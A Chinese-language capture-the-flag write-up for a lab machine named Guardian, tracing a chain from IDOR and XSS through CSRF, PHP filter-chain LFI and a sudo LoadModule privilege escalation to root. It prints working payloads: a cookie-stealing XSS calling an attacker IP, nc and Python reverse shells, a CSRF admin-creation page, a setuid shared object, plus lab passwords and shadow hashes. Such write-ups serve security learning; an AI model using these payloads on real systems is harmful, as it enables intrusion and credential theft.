基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.10.11.84
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 21:09 JST
Nmap scan report for 10.10.11.84
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_ 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://guardian.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.88 seconds

80

需要加hosts:

1
10.10.11.84 guardian.htb

教育相关的官网:

底部portal链接到子域名,同样加hosts

portal

学生门户,需要登录:

portal

portal help里可以得到默认密码:

回到主站,可以看到三个学生邮箱:

GU0142023

简单测试登录GU0142023学生账号:

chats

查看功能发现chats功能使用两个参数确定聊天双方,没有权限控制导致可以任意查看聊天记录:

在用户1和2的聊天记录中得到gitea密码:

1
2
3
4
5
6
# 两个用户名
admin
jamil.enockson

# jamil.enockson gitea密码
Here is your password for gitea: DHsNnk3V503

gitea

直接盲猜子域名就是gitea:

使用前面得到的用户名密码登录,用户名微调成邮箱格式:

1
2
jamil.enockson@guardian.htb
DHsNnk3V503

portal

在portal的config里可以找到数据库密码:

1
2
3
4
5
6
7
8
9
10
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];

phpspreadsheet

portal的依赖里可以看到phpspreadsheet 3.7.0:

这个库可以搜到相关XSS:

看描述是需要在excel里写入payload,例如在sheet name里,然后上传后会被转换为html,导致XSS

XSS to lecturer

制作包含xss payload的excel:

1
"><img src=1 onerror=fetch("http://10.10.14.20:7777/?x="+btoa(document.cookie))>

本地制作有长度或者字符限制,使用在线工具:

回到学生门户提交,之后等待触发接收到一个cookie:

1
2
3
UEhQU0VTU0lEPWFmY2hiYTRmMHJyamswaWM0MmhxYzZrOWEz

PHPSESSID=afchba4f0rrjk0ic42hqc6k9a3

修改cookie后可以看到现在是一个lecturer账号:

Add admin

lecturer发公告会被admin自动查看:

admin存在创建用户功能,但会校验有效csrf token:

但csrf token校验只是检查是否在poll中,并没有删除使用过的token,所以任意一个在poll中的有效token即可:

csrf add admin

所以就是构造csrf,发布公告,添加admin:

csrf.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Exploit</title>
</head>
<body>
<h1>CSRF Exploit Test</h1>
<form id="csrfForm" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="miao">
<input type="hidden" name="password" value="P@ssw0rd123">
<input type="hidden" name="full_name" value="miao">
<input type="hidden" name="email" value="miao@miao.com">
<input type="hidden" name="dob" value="2000-01-01">
<input type="hidden" name="address" value="miao">
<input type="hidden" name="user_role" value="admin">
<input type="hidden" name="csrf_token" value="0d36a4364ed128849b2ff60d16f5be4f">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>

Admin Portal

reports

继续查看admin功能,发现reports参数使用文件路径,可能存在lfi,但存在恶意字符检测:

查看代码也可以知道检测了..,以及需要指定的文件名结尾:

LFI to shell

所以通过php filter chain来执行代码,后面添加指定的文件名通过检测即可:

1
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
1
2
3
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'

cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.14.20%204444%20%3E%2Ftmp%2Ff

打到www-data:

mysql

前面已经得到了mysql密码,这里本地连接:

1
2
3
4
5
6
7
8
www-data@guardian:~/portal.guardian.htb/admin$ mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st'

mysql> use guardiandb;
mysql> select username,password_hash from users;

| admin | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 |
| jamil.enockson | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 |
...

hash crack

前面也知道hash是加了salt的,处理下格式破解出jamil.enockson密码:

1
2
3
4
5
6
7
8
9
10
# hash:salt 
# hastcat mode 1410
694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS
...

sudo hashcat -m 1410 hash.txt ~/Tools/dict/rockyou.txt

jamil.enockson
copperhouse56

user flag

得到的密码ssh登录jamil用户:

jamil to mark

jamil可以以mark身份运行指定脚本执行指定utils代码,而其中的status我们有写权限:

所以就是修改status代码后以mark身份执行:

1
2
3
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.20",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > status.py

sudo -u mark /opt/scripts/utilities/utilities.py system-status

safeapache2ctl

mark可以sudo以root身份运行safeapache2ctl,是个elf文件,下载到本地分析

是从指定目录加载配置文件执行配置文件中指令,判断通过后由apache2ctl执行,不允许Include、IncludeOptional和LoadModule

但上面存在例外判定,即指令参数在/home/mark/confs/则被视为安全,允许执行

那么我们实际上是可以执行被禁止的指令的,包括LoadModule,从而执行任意命令

提权 & root flag

所以就是通过LoadModule来执行命令:

1
2
3
4
5
6
gcc -shared -fPIC -o /home/mark/confs/miao.so /home/mark/confs/miao.c

# miao.conf
LoadModule evil_module /home/mark/confs/miao.so

sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/miao.conf

miao.c

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor)) void init() {
setuid(0);
system("chmod +s /bin/bash");
}

shadow

1
2
3
4
root:$y$j9T$.LTtSh52Jq1CcDWVjaIKJ/$vwOpOiforFInjhHVs99EhL8xpt.ITlODZVE/WoZaKT5:20308:0:99999:7:::
jamil:$y$j9T$0g6BWHp46972nIYN0Gj0e0$vf.QetvxTkPatB92P2q8DlsUFvpIZ1Qr0KJOzCyF.F.:20192:0:99999:7:::
mark:$y$j9T$aEIRzrZQQNh8SU6Ss0hMP1$Jv9fMaspdhoi6v.VTesIP9Ecg90sK8rMfGwK/AfOEW2:20196:0:99999:7:::
sammy:$y$j9T$HR6clkatmQS4r1UuR5lYI1$NRjKeyi5l3pVP31sudznYg8qQMTu7fqAynlntroedIC:20299:0:99999:7:::

参考资料